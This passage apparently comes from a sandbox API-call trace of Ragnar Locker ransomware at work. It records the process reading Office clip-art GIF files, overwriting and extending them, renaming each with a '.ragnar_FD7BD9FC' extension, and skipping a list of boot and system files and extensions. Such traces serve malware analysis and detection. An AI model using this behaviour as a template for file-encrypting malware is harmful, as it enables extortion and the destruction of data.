"c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.214] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1094) returned 1 [0093.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.214] GetProcessHeap () returned 0x580000 [0093.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.214] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.215] VirtualAlloc (lpAddress=0x0, dwSize=0x446, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.215] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x446, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x446, lpOverlapped=0x0) returned 1 [0093.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.216] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x446, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.216] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x446, lpOverlapped=0x0) returned 1 [0093.216] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x446, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.216] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.216] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.216] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.216] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.216] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.216] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.216] GetProcessHeap () returned 0x580000 [0093.216] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.216] CloseHandle (hObject=0xf4) returned 1 [0093.216] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" [0093.216] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.ragnar_FD7BD9FC" [0093.217] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0093.217] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.217] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01840_.GIF" | out: lpString1="WB01840_.GIF") returned="WB01840_.GIF" [0093.217] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF") returned=".GIF" [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="autorun.inf") returned 1 [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="boot.ini") returned 1 [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootfont.bin") returned 1 [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootsect.bak") returned 1 [0093.217] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootmgr") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootmgr.efi") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="desktop.ini") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="iconcache.db") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ntldr") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ntuser.dat") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ntuser.ini") returned 1 [0093.218] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="thumbs.db") returned 1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.218] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif")) returned 0x20 [0093.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.219] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1534) returned 1 [0093.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.219] GetProcessHeap () returned 0x580000 [0093.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.219] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.220] VirtualAlloc (lpAddress=0x0, dwSize=0x5fe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.220] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5fe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5fe, lpOverlapped=0x0) returned 1 [0093.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.221] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.221] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5fe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5fe, lpOverlapped=0x0) returned 1 [0093.221] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.221] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.221] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.221] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.221] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.221] GetProcessHeap () returned 0x580000 [0093.221] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.221] CloseHandle (hObject=0xf4) returned 1 [0093.222] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" [0093.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.ragnar_FD7BD9FC" [0093.222] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0093.222] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.222] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01842_.GIF" | out: lpString1="WB01842_.GIF") returned="WB01842_.GIF" [0093.222] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF") returned=".GIF" [0093.222] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.222] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="autorun.inf") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="boot.ini") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootfont.bin") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootsect.bak") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootmgr") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootmgr.efi") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="desktop.ini") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="iconcache.db") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ntldr") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ntuser.dat") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ntuser.ini") returned 1 [0093.223] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="thumbs.db") returned 1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.223] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif")) returned 0x20 [0093.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.224] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1900) returned 1 [0093.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x763, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.224] GetProcessHeap () returned 0x580000 [0093.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.224] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.225] VirtualAlloc (lpAddress=0x0, dwSize=0x76c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.225] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x76c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x76c, lpOverlapped=0x0) returned 1 [0093.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.226] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x76c, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.226] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x76c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x76c, lpOverlapped=0x0) returned 1 [0093.226] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x76c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.226] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.226] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.226] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.226] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.226] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.226] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.226] GetProcessHeap () returned 0x580000 [0093.226] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.226] CloseHandle (hObject=0xf4) returned 1 [0093.227] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" [0093.227] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.ragnar_FD7BD9FC" [0093.227] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0093.227] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.227] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01843_.GIF" | out: lpString1="WB01843_.GIF") returned="WB01843_.GIF" [0093.227] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF") returned=".GIF" [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="autorun.inf") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="boot.ini") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootfont.bin") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootsect.bak") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootmgr") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootmgr.efi") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="desktop.ini") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="iconcache.db") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ntldr") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ntuser.dat") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ntuser.ini") returned 1 [0093.228] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="thumbs.db") returned 1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.228] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif")) returned 0x20 [0093.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.229] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4817) returned 1 [0093.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.229] GetProcessHeap () returned 0x580000 [0093.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.229] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, 